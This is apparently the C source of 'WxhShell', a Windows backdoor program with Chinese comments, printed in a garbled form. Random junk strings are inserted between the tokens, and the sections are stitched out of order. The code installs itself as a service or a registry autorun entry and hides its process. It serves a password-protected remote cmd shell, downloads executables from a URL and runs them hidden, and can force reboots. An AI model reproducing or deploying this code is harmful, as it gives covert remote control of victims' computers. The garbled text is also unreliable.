NT. a if(NULL == hInst ) return 0; gFpub_ "?%2`*\ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); TB}6iIe g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'uC=xG.*} NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S-'R84M,F mF:Pplf< if (!NtQueryInformationProcess) return 0; 5o6X.sC8e mqtX7rej hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -*A1[Z ? if(!hProcess) return 0; -w"$[XP 4mjlat(d if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v}LI-~M>U :
&bJMzB CloseHandle(hProcess); qCkC 2Fy( v]Fw~Y7l! hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "%}24t% if(hProcess==NULL) return 0; >{S
~(KxK @r&*Qsf| HMODULE hMod; !He_f-eZ char procName[255]; j"hNkCF unsigned long cbNeeded; dBw7l} dd=ca0c7e if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a[Nm<
qV05 mW2 D"-s CloseHandle(hProcess); % 2wr%*h H +'6*akV if(strstr(procName,"services")) return 1; // 以服务启动 ]"/SU6#4: E+ctiVL return 0; // 注册表启动 8eVy*h2:= } gky+.EP. _h+7KK // 主模块 J#W*,%8O int StartWxhshell(LPSTR lpCmdLine) WeJ=]7T'L { IwXWtVL SOCKET wsl; kXV;J$1 BOOL val=TRUE; +E^2]F7Zk int port=0; a,36FF~& struct sockaddr_in door; IaZmN.k* L{&>,ww if(wscfg.ws_autoins) Install(); V0NLwl
O wBDHhXi0 port=atoi(lpCmdLine); 0!-'4+" ebn3r:IU- if(port<=0) port=wscfg.ws_port; E{0e5. { Qr\eT} WSADATA data; +BeA4d8b if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; inY_cn? 0W0GSDx if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; D6~KLSKm setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Wv|CJN;4 door.sin_family = AF_INET; LC4VlfU door.sin_addr.s_addr = inet_addr("127.0.0.1"); P3 . door.sin_port = htons(port); o}DRp4;Ka ClY`2 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Iprt
ZqiL closesocket(wsl); T+^Sa
J return 1; Nw9@E R } | }L=e. L3w.<h if(listen(wsl,2) == INVALID_SOCKET) { JH| D closesocket(wsl); tnAj3wc return 1; i=L 86Ks } x <a}*8" Wxhshell(wsl); I{Ip WSACleanup(); :tBe/(e4# )RN3Oz@H return 0; 0cSm^a O|S,="h"} } L(bDk'zi v4Wq0>o // 以NT服务方式启动 t{>#)5Pqv VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \6 1H(, { )!kt9lK DWORD status = 0; &@,lF{KTL DWORD specificError = 0xfffffff; ZJF"Yo %%F,G serviceStatus.dwServiceType = SERVICE_WIN32; Ell14Iki serviceStatus.dwCurrentState = SERVICE_START_PENDING; 'z^'+}iyv serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ypl;jkHP serviceStatus.dwWin32ExitCode = 0; ^ ^&H:q serviceStatus.dwServiceSpecificExitCode = 0; LtH
j serviceStatus.dwCheckPoint = 0; -<g[P_# serviceStatus.dwWaitHint = 0; e`co:HO`# e/cHH34 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `+T 2IPN
if (hServiceStatusHandle==0) return; HU'w[r6a $@@ii+W}\ status = GetLastError(); :-O$rm if (status!=NO_ERROR) 'j*Q { qH0JZdk serviceStatus.dwCurrentState = SERVICE_STOPPED; 3b\s;! serviceStatus.dwCheckPoint = 0; ;e*okYM serviceStatus.dwWaitHint = 0; 4evNZ
Q serviceStatus.dwWin32ExitCode = status; @D=B5f@(o serviceStatus.dwServiceSpecificExitCode = specificError; k>F!S`a&m SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2Y%7.YX" return; lX%-oRQ/os } sVr|kvn2 KAXjvZN1 serviceStatus.dwCurrentState = SERVICE_RUNNING; t
#Kucde serviceStatus.dwCheckPoint = 0; xe^M2$clb\ serviceStatus.dwWaitHint = 0; F53
.g/[ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g0"xG}d } iZ>P>x\ p6NPWaBR
// 处理NT服务事件,比如:启动、停止 unc6 V% VOID WINAPI NTServiceHandler(DWORD fdwControl) !?_CIt$p { akk*f+TD` switch(fdwControl) FAL#p$y} { ZB|s/ case SERVICE_CONTROL_STOP: B8eZ}9X serviceStatus.dwWin32ExitCode = 0; ZV:df 6S serviceStatus.dwCurrentState = SERVICE_STOPPED; ]zVQL_%, serviceStatus.dwCheckPoint = 0; .?rs5[th* serviceStatus.dwWaitHint = 0; oQrfrA&=M { ]]_5_)"4 SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZnJJ-zP } 1) K<x return; mhv6.W@ case SERVICE_CONTROL_PAUSE: Qy"%%keV'T serviceStatus.dwCurrentState = SERVICE_PAUSED; EcX7wrl9x break; 34X]b[^ case SERVICE_CONTROL_CONTINUE: jygUf| serviceStatus.dwCurrentState = SERVICE_RUNNING; utRO?]%d
! break; [TQYu:e case SERVICE_CONTROL_INTERROGATE: Ky7.&6\n break; J~xm[^0 }; Xp|4 WM SetServiceStatus(hServiceStatusHandle, &serviceStatus); s-5#P,Lw } r>! @Z2%s 9(qoME}>= // 标准应用程序主函数 p>kny?AJ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q+4dHS)x { 5x|$q kI AA)pV- // 获取操作系统版本 "9dZ
z/{ OsIsNt=GetOsVer(); &>+5
8 GetModuleFileName(NULL,ExeFile,MAX_PATH); wEl7mg ! k>Fw2!mA^ // 从命令行安装 *z6A ~U if(strpbrk(lpCmdLine,"iI")) Install(); U+#^>}wc 4"Qb^y // 下载执行文件 Yr~wsE/ if(wscfg.ws_downexe) { L~e0^X? if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;F*^c
) WinExec(wscfg.ws_filenam,SW_HIDE); m>48?% } rXzq: [kpQ:'P3 if(!OsIsNt) { kCEo */, // 如果时win9x,隐藏进程并且设置为注册表启动 _VjaTw8iM HideProc();
#tpz74O StartWxhshell(lpCmdLine); @YRy)+ } ?/1LueC: else 5 (!F Q if(StartFromService()) ?u&|'ASo // 以服务方式启动 (=WbLNBS StartServiceCtrlDispatcher(DispatchTable); 6HJsIeQ else Ct?xTFb // 普通方式启动 KztQT9kY StartWxhshell(lpCmdLine); 0}`.Z03fy %scIZCrI~ return 0; mXhC-8P } A@?-"=h} p<h(
<&`Rf6 ~N}Zr$D =========================================== 2"|7 YI A-.Wd7^~* ">_|!B&wb^ THX% z
` _g9j_
x:= ZU0*iA " z79oj\&[ As5l36 #include <stdio.h> OAFxf,b #include <string.h> 6<
-Cpc #include <windows.h> u\iKdL #include <winsock2.h> oxeIh9
E #include <winsvc.h> gBWr)R #include <urlmon.h> =Ez@kTvOs |H,WFw1%} #pragma comment (lib, "Ws2_32.lib") [>_zV.X #pragma comment (lib, "urlmon.lib") 9bRUN<
/*e<r6 #define MAX_USER 100 // 最大客户端连接数 6{udNv X #define BUF_SOCK 200 // sock buffer 5+Tx01) #define KEY_BUFF 255 // 输入 buffer vg3iT} hT_Q_1, #define REBOOT 0 // 重启 nO'C2)bBSG #define SHUTDOWN 1 // 关机 *' es(]W q9VBK(,X #define DEF_PORT 5000 // 监听端口 DzA'MX u+z #define REG_LEN 16 // 注册表键长度 W`oyDg,D #define SVC_LEN 80 // NT服务名长度 .waj.9&[l R}3th/ qf // 从dll定义API K0o${%'@7 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wpC.!T typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ki2`gLK typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .X(qs 1 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p/u ek/zQM@% // wxhshell配置信息 lb*;Z7fx<' struct WSCFG { ">h$(WCK int ws_port; // 监听端口 0*kS\R=P char ws_passstr[REG_LEN]; // 口令 `'P&={p8 int ws_autoins; // 安装标记, 1=yes 0=no b{ A/M#= char ws_regname[REG_LEN]; // 注册表键名 -$#2?/uqC char ws_svcname[REG_LEN]; // 服务名 4bdCbI char ws_svcdisp[SVC_LEN]; // 服务显示名 D%?9[Qb char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~#VDJ[Z char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P*}aeu&lnD int ws_downexe; // 下载执行标记, 1=yes 0=no [ g:cG char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y4 ]5z/ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z<^LY] }M"])B I
}; "Dq^r9 =+?OsH
v // default Wxhshell configuration s S3RK struct WSCFG wscfg={DEF_PORT, W?!rqo2SP "xuhuanlingzhe", Hi$N"16A5z 1, ~@QAa (P. "Wxhshell", ~Al3Dv9x "Wxhshell", }wBpBw2J "WxhShell Service", huyfo1( "Wrsky Windows CmdShell Service", :i
{;
81V "Please Input Your Password: ", cD!E.2[ 1, c05-1 "http://www.wrsky.com/wxhshell.exe", _*{Lha "Wxhshell.exe" vr?u=_%Z }; Pk(%=P, 9&Y|,&W // 消息定义模块
E;'{qp char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *}Gys/\!S char *msg_ws_prompt="\n\r? for help\n\r#>"; rK}sQ4z= char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; kD1Nq~h2 char *msg_ws_ext="\n\rExit."; lt]&o0> char *msg_ws_end="\n\rQuit."; r}Gku0Hu_E char *msg_ws_boot="\n\rReboot..."; 5&_")k3$* char *msg_ws_poff="\n\rShutdown..."; #cW:04 char *msg_ws_down="\n\rSave to "; xX{Zh;M&[ ]mNsG0r6 char *msg_ws_err="\n\rErr!"; L})*ck char *msg_ws_ok="\n\rOK!"; =(P$P v_v>gPl, char ExeFile[MAX_PATH]; &
@_PY int nUser = 0; nUX3a'R HANDLE handles[MAX_USER]; |yp^T int OsIsNt; m#O; 1/P (]&B'1b SERVICE_STATUS serviceStatus; "cjD-42 SERVICE_STATUS_HANDLE hServiceStatusHandle; " ;T
a8 GNB'.tJ:0Y // 函数声明 B Nb_i H int Install(void); ;.=0""-IF int Uninstall(void); jA~omX2A int DownloadFile(char *sURL, SOCKET wsh); SdMLO6- int Boot(int flag); >\J<` void HideProc(void); 1P'L<z int GetOsVer(void); 8I#^qr5 int Wxhshell(SOCKET wsl); Y,,Z47%
E void TalkWithClient(void *cs); hcYqiM@8> int CmdShell(SOCKET sock); d1t_o2 int StartFromService(void); +7
j/.R int StartWxhshell(LPSTR lpCmdLine); 7(C)vtEO: KjF8T7% VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %gSmOW2.c^ VOID WINAPI NTServiceHandler( DWORD fdwControl ); aM#xy6:XG JX&%5sn( // 数据结构和表定义 v^p* l0r6: SERVICE_TABLE_ENTRY DispatchTable[] = *u,xBC2C { k,<7)- {wscfg.ws_svcname, NTServiceMain}, ]-a/)8 {NULL, NULL} [TqX"@4NS }; u}_x C8)s6 // 自我安装 usoyH0t!? int Install(void) qx*b\6Rt { "A~D(1K char svExeFile[MAX_PATH]; 8ql<7RTM! HKEY key; 4OO^%`=)M' strcpy(svExeFile,ExeFile); {9j0k`A P%vouC0W // 如果是win9x系统,修改注册表设为自启动 Zn Rj}y if(!OsIsNt) { KiE'O{Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /M3;~sx RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RX^8`}N RegCloseKey(key); CO@ kLI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #(a ;w RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (6[/7e) RegCloseKey(key); t%k`)p7O return 0; OS>%pgv } #hu`X6s" } 83# <Yxk~ } | "M1+(k7 else { Ytqx0 Hl{ul'o // 如果是NT以上系统,安装为系统服务 g_>E5z. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n? =O@yq if (schSCManager!=0) cf"!U+x { ,Tx38 SC_HANDLE schService = CreateService ~-%z:Re'_ ( Kg /, schSCManager, IC$"\7
@ wscfg.ws_svcname, gOE? wscfg.ws_svcdisp, o~4kJW# SERVICE_ALL_ACCESS, JP
;SO SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b{x/V 9&| SERVICE_AUTO_START, )/OIzbA3# SERVICE_ERROR_NORMAL, [{&OcEf svExeFile, >>y\idg&: NULL, ^ AZv4H*~ NULL, P-yVc2YH NULL, C+t|fSJ NULL, Z3u6m0! NULL '%TD#!a ); dPV<:uO if (schService!=0) ka(3ONbG { ={6vShG)m CloseServiceHandle(schService); .+u r+"i CloseServiceHandle(schSCManager); .]<gm9l strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 30s A\TZ strcat(svExeFile,wscfg.ws_svcname); d5{RIM| if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t)O]0)
s RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); YETGq- RegCloseKey(key); !V4 (- 8 return 0; am| 81)|a } 8 QI+O` } )lU ocm CloseServiceHandle(schSCManager); !
8Ro5), } q 4Ok$~"I } }h3[QUVf% jsKKg^g return 1; I.SMn,N } GFnwj<V+{ LJ z6)kz // 自我卸载 1NrNTBI@ int Uninstall(void) rV-Xsf7Z { /P/0\3TCi HKEY key; lX50JJwk 6aWnj*dF if(!OsIsNt) { `Uvc^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,Vz-w;oDn RegDeleteValue(key,wscfg.ws_regname); "N}MhcdS RegCloseKey(key); &,,:pL[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n-dC!t
RegDeleteValue(key,wscfg.ws_regname); Z`%^?My RegCloseKey(key); _tQM<~Y]u\ return 0; l Yj$3 } o nv0gb/J } 2@N-#x' } Dj0D.}`~ else { oXVx9dZ i"4;{C{s SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]\ZmK0q<: if (schSCManager!=0) ,,S 2>X*L { AJ#YjkO>] SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H>-{.E1bG if (schService!=0) RH$YM
`cZ { .8[uEQ_L if(DeleteService(schService)!=0) { kD((1v*D$ CloseServiceHandle(schService); 7Fzr\& CloseServiceHandle(schSCManager); 6J-=6t| return 0; \t=#MzjR } (d .M} G CloseServiceHandle(schService); >Wd_?NaI } ^7*zi_Q CloseServiceHandle(schSCManager); W}Rzn } !rZZ/M"i } /(%!txSNEt CRNt5T>qH return 1; C_h$$G{S( } 6y{CM/DC TeJ=QpGW2 // 从指定url下载文件 diKl}V#u int DownloadFile(char *sURL, SOCKET wsh) q$<VLrx { "5\6`\/ HRESULT hr; scE#&OWF% char seps[]= "/"; h=kC3ot\ char *token; [BEQ ~A_I char *file; q1rD>n&d char myURL[MAX_PATH]; %."w]fy>P char myFILE[MAX_PATH]; \@{TF((Y idjk uB(6 strcpy(myURL,sURL); v++&% token=strtok(myURL,seps); {~'Iu8TvZ while(token!=NULL) O`9vEovjs { 1V,DcolRY file=token; sP>-k7K. token=strtok(NULL,seps); 1T4#+kW& } b
|ijkys rWN%j)#+ GetCurrentDirectory(MAX_PATH,myFILE); VwLo strcat(myFILE, "\\"); *c(YlfeZ# strcat(myFILE, file); q5)
K send(wsh,myFILE,strlen(myFILE),0); E$v!Z; A send(wsh,"...",3,0); I 6L3M\+- hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pMf
?'l if(hr==S_OK) ]#'&x%m return 0; ahN8IV=+Gm else ;2aPhA return 1; be(hY{y` "z*?#&?, } 8 9maN !&{"tL@. // 系统电源模块 "=2'O qp1 int Boot(int flag) VMu?mqEa { m mH
xPd HANDLE hToken; +Ur75YPh TOKEN_PRIVILEGES tkp; X#fjIrn {_Fh3gjb/ if(OsIsNt) { Ia[<;":U OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mPo.Z"uy7 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gz Dfx&.0 tkp.PrivilegeCount = 1; 1q|iw tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !-JvVdM;( AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z~;rp`P if(flag==REBOOT) { Ns\};j?TU* if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \9R=fA1 8 return 0; =tGRy@QV'\ } FA%V>&;` else { UC.kI&A if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E<@N4%K_Q return 0; -'^:+FU } [<wpH0lNoy } *rYPjk6g[ else { /^WOrMR if(flag==REBOOT) { 5eM{>qr} if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nL]eGC return 0; HNLr}
Y j } Dnd else { MieO1l if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C;_0 0EQ= return 0; UMK9[Iy$<M } -U|Z9sia } nXERj; Q" 1'1>B return 1; ffsF], _J } FRsp?i
K) I[n|#N // win9x进程隐藏模块 #wsi><7 void HideProc(void) ^Iqu ^n?2. { equi26jhr v]T?xo~@' HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^E".`~R
if ( hKernel != NULL ) *Xh#W7,< { !iK{q0 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); eWr6@ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p!\GJ a", FreeLibrary(hKernel); `r0lu_.$]4 } G7r .Jm^q g`)0
wP return; lWBewnLKE } LyG`q3@ 4P#4RB // 获取操作系统版本 3jHE,5m int GetOsVer(void) 7W>(T8K X\ { Qm_;o( OSVERSIONINFO winfo; }#&L winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g@Rs.Zq GetVersionEx(&winfo); 7JBr{3;eS if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {e0(M*u return 1; z|zEsDh; else :`uu[^ return 0; HmHM#~5(` } .9UrWBW\I s}bLA>~Ta // 客户端句柄模块 $"MGu^0;1 int Wxhshell(SOCKET wsl) sH]T1z { xE!b) @>S SOCKET wsh; (i1p6 struct sockaddr_in client; Nv3u)?A3w DWORD myID; ~(:0&w%e ,R=$qi| while(nUser<MAX_USER) ~g;)8X;;+ { 1-Dw-./N int nSize=sizeof(client);
3\cx(
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {Q@?CT if(wsh==INVALID_SOCKET) return 1; x{/-&`F Vt:\llsin handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
qq@]xdl if(handles[nUser]==0) mE&SAm5#d closesocket(wsh); +Eel|)Z*Q else !>/J]/4> nUser++; i(V } !/X>k{ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \S{ihS@J {Z178sik return 0; uuL(BUGt- } a %?v/Ku q d:"LS // 关闭 socket 4JXJ0T ar void CloseIt(SOCKET wsh) Xe(]4Ux { B9H.8+~( closesocket(wsh); !_W']Crb]] nUser--; -#R63f& ExitThread(0); f*T}Ov4 } PfGiJ]:V-u !sYZ1;WAO // 客户端请求句柄 ZP-9KA$" void TalkWithClient(void *cs) ]cWQ9 { G&4D0f 5xU}}[|~- SOCKET wsh=(SOCKET)cs; wNUcL*n char pwd[SVC_LEN]; d@zxgn7o char cmd[KEY_BUFF]; fB'Jo<C char chr[1]; dTte4lh int i,j; wB+F/]]|N *z0Rf; while (nUser < MAX_USER) { ;ULw-&]P s!1/Bm|_T if(wscfg.ws_passstr) { v?n# C if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T7l,}G //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J|HV8 //ZeroMemory(pwd,KEY_BUFF); IoV"t, i=0; N
x^JC_ while(i<SVC_LEN) { E,ooD3$h Mgu9m8
`J // 设置超时 ;ZkY[5 fd_set FdRead; }iLi5Qkx struct timeval TimeOut; %=V"
}P[ FD_ZERO(&FdRead); )Lk2tvr FD_SET(wsh,&FdRead); k?/! ` TimeOut.tv_sec=8; dKL9}:oUa TimeOut.tv_usec=0; z80*Ylx int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); eKU4"XTk if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Oi{J}2U uzLm TmM+ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `m$,8f%j6_ pwd=chr[0]; jwI1 I {x if(chr[0]==0xd || chr[0]==0xa) { -O?A" pwd=0; <TSps!(# break; A5[kYD,_ } lLK||2d i++; Yk*_u}?# } V9%9nR!' R@`xS<`L/ // 如果是非法用户,关闭 socket % 3fpIzm if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #G\-ftA & } Ki%)LQAg ?DnQU"_$ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~bis!(}p- send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C;9P6^Oz "j.Q*Hazg while(1) { `wSoa#U"@ ^}:0\;|N ZeroMemory(cmd,KEY_BUFF); r]kks_!Z >,rzPc) // 自动支持客户端 telnet标准 |C,]-mJ G j=0; W>'gG}. while(j<KEY_BUFF) { }"q#"s if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D>`{f4Y cmd[j]=chr[0]; f<R
3ND) if(chr[0]==0xa || chr[0]==0xd) { C[+?gQJ[9 cmd[j]=0; aD~S~L! break; [~;wCW,1 } .dvs&+I j++; CI+li H } `];ne]xM }R:oWR // 下载文件 ]n$ v ^ if(strstr(cmd,"http://")) { 5cl^:Ua send(wsh,msg_ws_down,strlen(msg_ws_down),0); h-o;vC9fC if(DownloadFile(cmd,wsh)) e"Z,!Q^-L send(wsh,msg_ws_err,strlen(msg_ws_err),0); CM`Q(( else +.$:ZzH# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2Ns<lh } U)3?&9H else { EAF\7J* 2"o<>d switch(cmd[0]) { [u-=<hnoa j",*&sy // 帮助 1o)<23q`) case '?': { 3[~LmA send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _sHeB7K break; dp3TJZ+U } M2.*]AL // 安装 6O@Lx]t case 'i': { *6v5JH&K if(Install()) w}29#F\]R send(wsh,msg_ws_err,strlen(msg_ws_err),0); \`8F.oZ^) else kC'm |Y@T send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %,d+jBM break; U:$`M,762Z } ^Je*k)COn // 卸载 D9n+eZ case 'r': { -{yG+1 if(Uninstall()) TNcMrbWA send(wsh,msg_ws_err,strlen(msg_ws_err),0); A\ tBmL_s else ZV07;`I send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y cWY.HD break; u#->? } 0bGQO&s
[ // 显示 wxhshell 所在路径 26j-1c!NGd case 'p': { `EiL~* char svExeFile[MAX_PATH]; 4@-Wp] strcpy(svExeFile,"\n\r"); 3V]psZS strcat(svExeFile,ExeFile); 1+tPd7U send(wsh,svExeFile,strlen(svExeFile),0); ^SwU]e break; @*$"6!3s5 } aCBq}Xcn // 重启 0s.4]Zg>5 case 'b': { m# ^).+ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ork{a.1-_w if(Boot(REBOOT)) 2$gFiZ send(wsh,msg_ws_err,strlen(msg_ws_err),0); MOIVt) ZY else { EV~?]Kt~ closesocket(wsh); " &mwrjn"T ExitThread(0); HZ\=NDz } <(us(zbk] break; ==bT0-M.~ } @_h=,g#@ // 关机 v/`#Gu^P case 'd': { ^9|&w.:@Q send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .GW)"`HbU if(Boot(SHUTDOWN)) EhN@;D+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); L_IvR 4:j~ else { =1mIk0H` closesocket(wsh); 3LVL5y7| ExitThread(0); 'qidorT>N } f{'NO`G break; b/=>'2f } ?;go5f+X // 获取shell 0LP>3"Sm case 's': { r\}
O{ZO CmdShell(wsh); a$Ghb] closesocket(wsh); M!\6Fl{ b ExitThread(0); 6%T_;"hb break; -"xC\R } -}Rh+n` // 退出 _%aT3C}k case 'x': { A{52T]9X send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9O:-q[K** CloseIt(wsh);
5)M#hx%]# break; o^BX:\} } yLt>OA<X // 离开 VO*fC case 'q': { yIS&ZtBA send(wsh,msg_ws_end,strlen(msg_ws_end),0); ab<7jfFIa closesocket(wsh); _6yrd.H WSACleanup(); ~@iYP/=/Q exit(1); =Flr05}m break; YMn=9EUp } ]T>YYz
} x}N1Wl=8g } d,t'e? S,C/l1s // 提示信息 Zb~G&.
2g if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V}4u1oG } g^:7mG6C } Zor Q2> vu/P"?F return; LeMo")dk\ } _Tma1~Gq 0O?!fd n // shell模块句柄 rVnolA*% int CmdShell(SOCKET sock) <P
c;8[ { mmEe@-lE STARTUPINFO si; ^^gV@fz ZeroMemory(&si,sizeof(si)); L4Si0 K si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cA+O]",} si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; QWK\6 PROCESS_INFORMATION ProcessInfo; }h\]0'S~J~ char cmdline[]="cmd"; 4&E&{<; CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @]%cUjQ return 0; Z`@< O% } < |